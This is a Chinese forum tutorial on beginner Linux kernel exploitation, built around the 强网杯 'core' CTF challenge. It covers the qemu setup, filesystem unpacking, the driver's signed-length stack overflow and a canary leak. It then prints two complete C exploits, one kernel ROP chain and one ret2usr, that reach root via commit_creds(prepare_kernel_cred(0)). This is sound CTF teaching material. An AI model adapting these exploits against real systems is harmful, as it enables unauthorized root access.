首页
论坛
课程
招聘
[原创]kernel pwn入门 强网杯 core
2020-5-8 11:22 5388

[原创]kernel pwn入门 强网杯 core

2020-5-8 11:22
5388

kernel pwn入门|强网杯 core

开始了心心念念的kernel pwn 学习,分享所学,希望和大佬们一起进步,同时可能里面的知识有些来源网络,我找不到出处了,所以没加链接,万分抱歉,如果侵权,可以联系作者,同时欢迎各路大佬找我交流。

参考: https://mp.weixin.qq.com/s/LQTKJrcTyX-KBddzeAK38w

题目: https://pan.baidu.com/s/1vkdsYCq3tvASYtuQeA_zRA 提取码:6l2l

kernel pwn 文件

  1. vmlinux 编译出的原始内核文件,未压缩,静态链接的,可执行的,不能bootable的Linux kernel文件。是用来生成vmlinuz的中间步骤
  2. zImage vmlinux 经过gzip压缩,仅适用于640K内存的Linux Kernel文件。
  3. bzImage bz表示“big zImage”,不是用bzip2压缩的。两者的不同之处在于,zImage解压缩内核到低端内存(第一个640K),bzImage解压缩内核到高端内存(1M以上)。如果内核比较小,那么采用zImage或bzImage都行,如果比较大应该用bzImage。
  4. uImage U-boot专用的映像文件,它是在zImage之前加上一个长度为0x40的tag。
  5. vmlinuz 是bzImage/zImage文件的拷贝或指向bzImage/zImage的链接。另一种解释:一个压缩的,能bootable的Linux kernel文件。vmlinuz是Linux kernel文件的历史名字,它实际上就是zImage或bzImage。
  6. initrd "initial ramdisk" ,一般用来临时的引导硬件到实际内核vmlinuz能够接管并继续引导的状态。
  7. *.sh文件,这个一般是qemu的启动文件
  8. *.cpio , 这个是打包后的文件系统

qemu

其包含多种运行模式,最常用的就是User-mode emulation 和 System emulation两种。

  1. User-mode emulation

    用户模式,在这个模式下,qemu 可以运行单个其他指令集的 linux 或者 macOS/darwin 程序,允许了为一种架构编译的程序在另外一种架构上面运行。

  2. Sytem emulation

    系统模式,在这个模式下,qemu 将模拟一个完整的计算机系统,包括外围设备。

bash启动脚本:

#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-append "root=/dev/ram rw oops=panic panic=1 kalsr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep \
#-S 启动gdb调试
#-gdb tcp:1234 等待gdb调试

命令参数意义

-m是指定RAM大小(默认384)

-kernel 是指定的内核镜像,这里是我们编译的镜像路径,也可以是下载好的镜像,如./vmlinuz-4.15.0-22-generic

-initrd 设置刚刚利用 busybox 创建的 rootfs.img ,作为内核启动的文件系统

-append 附加选项,指定no kaslr可以关闭随机偏移

--nographic和console=ttyS0一起使用,启动的界面就变成当前终端

-s 相当于-gdb tcp::1234的简写,可以直接通过主机的gdb远程连接

-monitor配置用户模式的网络#将监视器重定向到主机设备/dev/null

-smp 用于声明所有可能用到的cpus, i.e. sockets cores threads = maxcpus.

-cpu 设置CPU的安全选项

S -s
開機的時候就停下來,並開啟port 1234讓gdb從遠端連入除錯

-nographic
懶得跳一個視窗,直接terminal當console使用

保护机制

常见保护:Kaslr 地址随机化 , Smep 内核态不可执行用户态代码,Smap内核态不可访问用户态内存。

 

想深入了解的化可以,去网上查找其实保护机制还有很多,关于这三种的叙述也不是很详细,为了不给小白加压力,其实初期记住这些就好了。

基本操作

#文件系统解包
$ mkdir core
$ mv core.cpio ./core/core.cpio.gz
$ cd core
$ gunzip core.cpio.gz # 这一步不是每个题都有的
$ cpio -idmv < core.cpio   #解包关键命令
$ rm -rf core.cpio
$ nano init   #修改初始文件
#打包
$ find . | cpio -o --format=newc > ../rootfs.img

提权

对于提权我们需要进行的此时有两步:

  1. 修改cred结构体
  2. 调用commit_creds(prepare_kernel_cred(0))进行提权。

题目分析

基本步骤如下:

 

start.sh

qemu-system-x86_64 \
-m 128M \   #原题这里是64,太小了,改成128
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

解包后里面有init文件,这个是内核启动的初始化文件

#init文件分析:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
#把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了。
echo 1 > /proc/sys/kernel/kptr_restrict
#把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
echo 1 > /proc/sys/kernel/dmesg_restrict
#把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了(fprint)
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
poweroff -d 120 -f &
#设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0  -f

保护检查:

 

checksec .io : 这个是用来检查驱动文件的保护,*该题目开启了canary保护。

 

同时我们修改文件系统的uidgid部分使得我们可以进入root权限,通过 cat /proc/cpuinfo 显示的flags标志位可以看出内核开启了什么样的保护。

 

该题开启了kalsr,但是smep这些没开

 

IDA查看驱动文件。

函数分析

 

创建文件系统节点core,注册了 /proc/core

 

core_ioctl:

 


这个是ioctl函数驱动时进入的函数,可以类比一些mian函数

 

core_read:

 


从 v6[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 使我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址.

 

core_write:

 


这个就是向全局变量name里面写数据。

 

core_copy_func:

漏洞所在

if对a1进行判断的时候用的64位方式,但是qmemcpy往内核栈里面复制数据的时候用的是a1的低16位,那么我们可以构造一个负数进行绕过,同时使得qmemcpy出现栈溢出。

 

EXP编写思路:

执行commit_creds(prepare_kernel_cred(0)); 创建新的凭证结构体使得uid/gid为0,
然后执行"/bin/sh"就可以拿到root权限的shell.

漏洞利用

1.首先我们要通过偏移泄露出基地址(绕过kaslr)

 

分析init文件,发现本题已经把所需要的数据存放再/tmp/kallsyms了,读取文件,加减偏移即可,我们就获得了prepare_kernel_cred,commit_creds两个关键函数的实际地址。

bool get_kernel_base()
{
    FILE *fp;
    uint64_t kernel_base1 = 0,kernel_base2 = 0;
    char line[0x30];
    fp = fopen("/tmp/kallsyms","rb");
    if(fp<0)
    {
        die("open kallsyms fialed");
    }
    while(fgets(line,0x30,fp))
    {
        if(kernel_base != 0)
        {
            return true;
        }
        if(strstr(line,"commit_creds")&&!commit_creds)
        {
            getchar();
            sscanf(line,"%llx",&commit_creds);
            printf("commit creds add: %p\n",commit_creds);
            kernel_base1 = commit_creds - commit_creds_offset;
        }
        if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) {

            sscanf(line, "%llx", &prepare_kernel_cred);
            printf("prepare kernel cred addr: %p\n", prepare_kernel_cred);
            kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset;
        }
           if (kernel_base1 !=0 && kernel_base1 == kernel_base2){
            kernel_base = kernel_base1;
        }
    }
    if(kernel_base==0)
    {
        return false;
    }
}

2.然后我们可以设置偏移,从而通过core_read函数泄露出canary。

void leak(int fd)
{
    ioctl(fd,core_set,0x40);
    uint8_t buffer[0x40];
    ioctl(fd,core_read,buffer);
    canary = *(uint64_t *)buffer;
    rbp = *(uint64_t *)(buffer+8);
}

溢出

这里有两种方法,一种是retuser,一种是kernel rop,技术。

rop

先找出地址,泄露地址的时候我们已经得到了kernel_base,注意:它跟驱动文件的base不是一个东西:

void set_gadget_addr()
{
    prdi_ret += kernel_base;
    prcx_ret += kernel_base;
    mov_rdi_rax_jmp_rcx += kernel_base;
    mov_rdi_rax_jmp_rdx += kernel_base;
    swapgs_p_ret += kernel_base;
    iretq_ret += kernel_base;
    return ;
}

接下来由于后来的内核态和用户态的切换,所以我们要保存相关寄存器的值

void save_status(){ //这个就可以直接套用,一般除了32位,64位,别的没啥区别。
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
       :
       :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}
//调用
 save_status();
    uint64_t *ptr;
     ptr = (uint64_t *)(buffer+0x40);
    *(ptr + i++) = canary;
    *(ptr + i++) = rbp;
    *(ptr + i++) = prdi_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = prepare_kernel_cred;
    *(ptr + i++) = prcx_ret;
    *(ptr + i++) = commit_creds;
    *(ptr + i++) = mov_rdi_rax_jmp_rcx;
    *(ptr + i++) = swapgs_p_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = iretq_ret;
    *(ptr + i++) = (uint64_t) root_shell;
    *(ptr + i++) = tf.cs;
    *(ptr + i++) = tf.rflags;
    *(ptr + i++) = tf.rsp;
    *(ptr + i++) = tf.ss;

接下来就是溢出劫持了,跟平常的pwn区别不大:

    write(fd,buffer,0x800);
    uint64_t nagtive_len = 0xffffffff00000000;
    uint32_t len = 0x100;
    nagtive_len |= len;
    ioctl(fd,core_func,nagtive_len);


完整EXP:

#include<stdio.h>
#include<string.h>
#include<inttypes.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
#define core_read 0x6677889B
#define core_set 0x6677889C
#define core_func 0x6677889A
uint64_t kernel_base = 0;
uint64_t commit_creds = 0;
uint64_t prepare_kernel_cred = 0;
uint64_t commit_creds_offset = 0x9c8e0;
uint64_t prepare_kernel_cred_offset = 0x9cce0;
uint64_t prdi_ret = 0x0b2f; //: pop rdi; ret;
uint64_t mov_rdi_rax_jmp_rcx = 0x1ae978; //: mov rdi, rax; jmp rcx;
uint64_t mov_rdi_rax_jmp_rdx = 0x6a6d2; //: mov rdi, rax; jmp rdx;
uint64_t prcx_ret = 0x21e53; //: pop rcx; ret;
uint64_t swapgs_p_ret = 0xa012da; //: swapgs; popfq; ret;
uint64_t iretq_ret = 0x50ac2; //: iretq; ret;
uint64_t canary = 0;
uint64_t rbp = 0;

void launch_shell();
void save_status(){
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
       :
       :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}
void launch_shell(){
    execl("/bin/sh","sh",NULL);
}
/*
void payload(){
    commit_creds(prepare_kernel_cred(0));
    asm("movq $tf, %rsp\n"
        "swapgs\n"
        "iretq\n");
    launch_shell();
   }*/
bool get_kernel_base()
{
    FILE *fp;
    uint64_t kernel_base1 = 0,kernel_base2 = 0;
    char line[0x30];
    fp = fopen("/tmp/kallsyms","rb");
    if(fp<0)
    {
        die("open kallsyms fialed");
    }
    while(fgets(line,0x30,fp))
    {
        if(kernel_base != 0)
        {
            return true;
        }
        if(strstr(line,"commit_creds")&&!commit_creds)
        {
            getchar();
            sscanf(line,"%llx",&commit_creds);
            printf("commit creds add: %p\n",commit_creds);
            kernel_base1 = commit_creds - commit_creds_offset;
        }
        if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) {

            sscanf(line, "%llx", &prepare_kernel_cred);
            printf("prepare kernel cred addr: %p\n", prepare_kernel_cred);
            kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset;
        }
           if (kernel_base1 !=0 && kernel_base1 == kernel_base2){
            kernel_base = kernel_base1;
        }
    }
    if(kernel_base==0)
    {
        return false;
    }
}
void set_gadget_addr()
{
    prdi_ret += kernel_base;
    prcx_ret += kernel_base;
    mov_rdi_rax_jmp_rcx += kernel_base;
    mov_rdi_rax_jmp_rdx += kernel_base;
    swapgs_p_ret += kernel_base;
    iretq_ret += kernel_base;
    return ;
}
void leak(int fd)
{
    ioctl(fd,core_set,0x40);
    uint8_t buffer[0x40];
    ioctl(fd,core_read,buffer);
    canary = *(uint64_t *)buffer;
    rbp = *(uint64_t *)(buffer+8);
}
int main(){
    bool ret = get_kernel_base();
    int i=0;
    uint8_t buffer[0x800] = {0};
    set_gadget_addr();
    int fd = open("/proc/core",O_RDWR);
    leak(fd);
    printf("leak canary: %p\n", canary);
    save_status();
    uint64_t *ptr;
     ptr = (uint64_t *)(buffer+0x40);
    *(ptr + i++) = canary;
    *(ptr + i++) = rbp;
    *(ptr + i++) = prdi_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = prepare_kernel_cred;
    *(ptr + i++) = prcx_ret;
    *(ptr + i++) = commit_creds;
    *(ptr + i++) = mov_rdi_rax_jmp_rcx;
    *(ptr + i++) = swapgs_p_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = iretq_ret;
    *(ptr + i++) = (uint64_t) launch_shell;
    *(ptr + i++) = tf.cs;
    *(ptr + i++) = tf.rflags;
    *(ptr + i++) = tf.rsp;
    *(ptr + i++) = tf.ss;
    write(fd,buffer,0x800);
    uint64_t nagtive_len = 0xffffffff00000000;
    uint32_t len = 0x100;
    nagtive_len |= len;
    ioctl(fd,core_func,nagtive_len);
}

ret2usr

这个跟rop几乎是一样的,唯一的区别在于不是通过系统调用的方式,而是通过直接函数执行的方式来获得权限,贴个Exp(大差别有注释):

#include<stdio.h>
#include<string.h>
#include<inttypes.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
struct trap_frame{
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
#define core_read 0x6677889B
#define core_set 0x6677889C
#define core_func 0x6677889A
uint64_t kernel_base = 0;
uint64_t commit_creds = 0;
uint64_t prepare_kernel_cred = 0;
uint64_t commit_creds_offset = 0x9c8e0;
uint64_t prepare_kernel_cred_offset = 0x9cce0;
uint64_t prdi_ret = 0x0b2f; //: pop rdi; ret;
uint64_t mov_rdi_rax_jmp_rcx = 0x1ae978; //: mov rdi, rax; jmp rcx;
uint64_t mov_rdi_rax_jmp_rdx = 0x6a6d2; //: mov rdi, rax; jmp rdx;
uint64_t prcx_ret = 0x21e53; //: pop rcx; ret;
uint64_t swapgs_p_ret = 0xa012da; //: swapgs; popfq; ret;
uint64_t iretq_ret = 0x50ac2; //: iretq; ret;
uint64_t canary = 0;
uint64_t rbp = 0;

uint64_t (*commit_creds1)(uint64_t cred);  //这两个是声明两个函数指针方便使用
uint64_t (*prepare_kernel_cred1)(uint64_t cred);
void launch_shell();
void save_status(){
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
       :
       :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}
void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void payload(){ //payload 直接函数执行而不是通过rop
    commit_creds1(prepare_kernel_cred1(0));
    asm("movq $tf, %rsp\n"
        "swapgs\n"
        "iretq\n");
    launch_shell();
   }
bool get_kernel_base()
{
    FILE *fp;
    uint64_t kernel_base1 = 0,kernel_base2 = 0;
    char line[0x30];
    fp = fopen("/tmp/kallsyms","rb");
    if(fp<0)
    {
        die("open kallsyms fialed");
    }
    while(fgets(line,0x30,fp))
    {
        if(kernel_base != 0)
        {
            return true;
        }
        if(strstr(line,"commit_creds")&&!commit_creds)
        {
            sscanf(line,"%llx",&commit_creds);
            printf("commit creds add: %p\n",commit_creds);
            commit_creds1 = commit_creds;
            kernel_base1 = commit_creds - commit_creds_offset;
        }
        if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) {

            sscanf(line, "%llx", &prepare_kernel_cred);
            printf("prepare kernel cred addr: %p\n", prepare_kernel_cred);
            prepare_kernel_cred1 = prepare_kernel_cred;
            kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset;
        }
           if (kernel_base1 !=0 && kernel_base1 == kernel_base2){
            kernel_base = kernel_base1;
        }
    }
    if(kernel_base==0)
    {
        return false;
    }
}
void set_gadget_addr()
{
    prdi_ret += kernel_base;
    prcx_ret += kernel_base;
    mov_rdi_rax_jmp_rcx += kernel_base;
    mov_rdi_rax_jmp_rdx += kernel_base;
    swapgs_p_ret += kernel_base;
    iretq_ret += kernel_base;
    return ;
}
void leak(int fd)
{
    ioctl(fd,core_set,0x40);
    uint8_t buffer[0x40];
    ioctl(fd,core_read,buffer);
    canary = *(uint64_t *)buffer;
    rbp = *(uint64_t *)(buffer+8);
}
int main(){
    bool ret = get_kernel_base();
    int i=0;
    uint8_t buffer[0x800] = {0};
    set_gadget_addr();
    int fd = open("/proc/core",O_RDWR);
    leak(fd);
    printf("leak canary: %p\n", canary);
    save_status();
    uint64_t *ptr;
     ptr = (uint64_t *)(buffer+0x40);
    *(ptr + i++) = canary;
    *(ptr + i++) = rbp;
    *(ptr + i++) = (uint64_t) payload;
    write(fd,buffer,0x800);
    uint64_t nagtive_len = 0xffffffff00000000;
    uint32_t len = 0x100;
    nagtive_len |= len;
    ioctl(fd,core_func,nagtive_len);
}

[公告]《CTF高级解混淆》训练营,国际顶尖CTF战队大牛亲自授课,助你快速成长!

最后于 2020-5-8 13:57 被时间的伤编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回